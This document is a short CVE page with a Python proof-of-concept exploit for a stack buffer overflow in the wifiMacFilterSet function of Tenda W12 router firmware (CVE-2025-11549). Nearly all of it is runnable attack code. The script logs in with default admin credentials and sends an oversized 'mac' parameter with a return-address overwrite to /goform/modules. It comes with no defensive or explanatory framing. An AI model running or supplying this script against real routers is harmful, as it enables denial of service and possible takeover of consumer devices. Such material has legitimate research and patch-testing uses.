CVE-2025-11549：Tenda W12路由器wifiMacFilterSet栈缓冲区溢出漏洞

# CVE-2025-11549 - Tenda W12 wifiMacFilterSet Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow in wifiMacFilterSet function # Affected: Tenda W12 firmware 3.0.0.6(3948) # Endpoint: /goform/modules # Vulnerable parameter: mac import requests import sys TARGET_URL = "http://<target_ip>/goform/modules" # Adjust the payload size based on the buffer size of the target # Overflow the stack buffer via the 'mac' parameter in wifiMacFilterSet def exploit(target_ip, password=""): """ Exploit CVE-2025-11549 - Stack buffer overflow via mac parameter in the wifiMacFilterSet function of Tenda W12 router. """ base_url = f"http://{target_ip}" modules_url = f"{base_url}/goform/modules" # Authentication may be required (PR:L) # Login to obtain session cookie if needed login_url = f"{base_url}/login/Auth" session = requests.Session() login_data = { "username": "admin", "password": password # Default password often 'admin' or empty } session.post(login_url, data=login_data) # Construct the overflow payload # The 'mac' parameter is vulnerable to stack-based buffer overflow overflow_size = 512 # Adjust based on buffer size padding = "A" * overflow_size # Return address overwrite (example, adjust based on architecture) ret_address = b"\x41\x41\x41\x41" payload = padding.encode() + ret_address # Trigger the vulnerability via wifiMacFilterSet params = { "module": "wifiMacFilter", "action": "set", "mac": payload.decode('latin-1') } try: response = session.post(modules_url, data=params, timeout=10) print(f"[*] Exploit sent. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [password]") sys.exit(1) target = sys.argv[1] pwd = sys.argv[2] if len(sys.argv) > 2 else "" exploit(target, pwd)